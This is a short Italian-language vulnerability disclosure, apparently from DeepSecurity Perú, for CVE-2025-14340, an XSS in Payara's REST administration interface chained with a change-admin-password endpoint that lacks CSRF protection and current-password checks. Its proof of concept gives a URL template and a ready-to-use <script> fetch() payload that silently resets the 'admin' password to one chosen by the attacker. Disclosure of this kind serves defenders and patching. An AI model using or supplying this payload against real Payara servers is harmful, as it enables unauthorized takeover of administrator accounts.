XSS per appropriazione dell'account admin (CVE-2025-14340)

Una vulnerabilità di Cross-Site Scripting nell'Interfaccia REST di Amministrazione di Payara permette l'esecuzione di JavaScript controllato dall'attaccante, portando all'appropriazione dell'account admin. A causa di:

1. Il pannello utilizza HTTP Basic Auth (le credenziali vengono inviate automaticamente dal browser per richieste same-origin).
2. L'endpoint change-admin-password non richiede la password corrente per aggiornare la password di un utente.
3. Il form change-admin-password non ha protezione CSRF.
4. Uno script iniettato sfruttando l'XSS in /management/domain/version può fare una POST a /management/domain/change-admin-password e impostare una password scelta dall'attaccante per qualsiasi account target — risultando nell'appropriazione dell'account admin.

Dimostrazione del concetto

URL:

https://panel.example.com:4848/management/domain/version?<PAYLOAD>

PAYLOAD:

<script>
fetch('/management/domain/change-admin-password', {
 method: 'POST',
 headers: {
 'X-Requested-By': 'GlassFish REST HTML interface',
 'Accept': 'text/html',
 'Content-Type': 'application/x-www-form-urlencoded'
 },
 body:
'id=admin&newpassword=P1234&password=P1234&__remove_empty_entries__=true&=chang
e-admin-password'
});
</script>

Legale

SOLO USO AUTORIZZATO. DeepSecurity Perú non approva l'accesso non autorizzato e non si assume alcuna responsabilità per qualsiasi uso improprio delle informazioni fornite.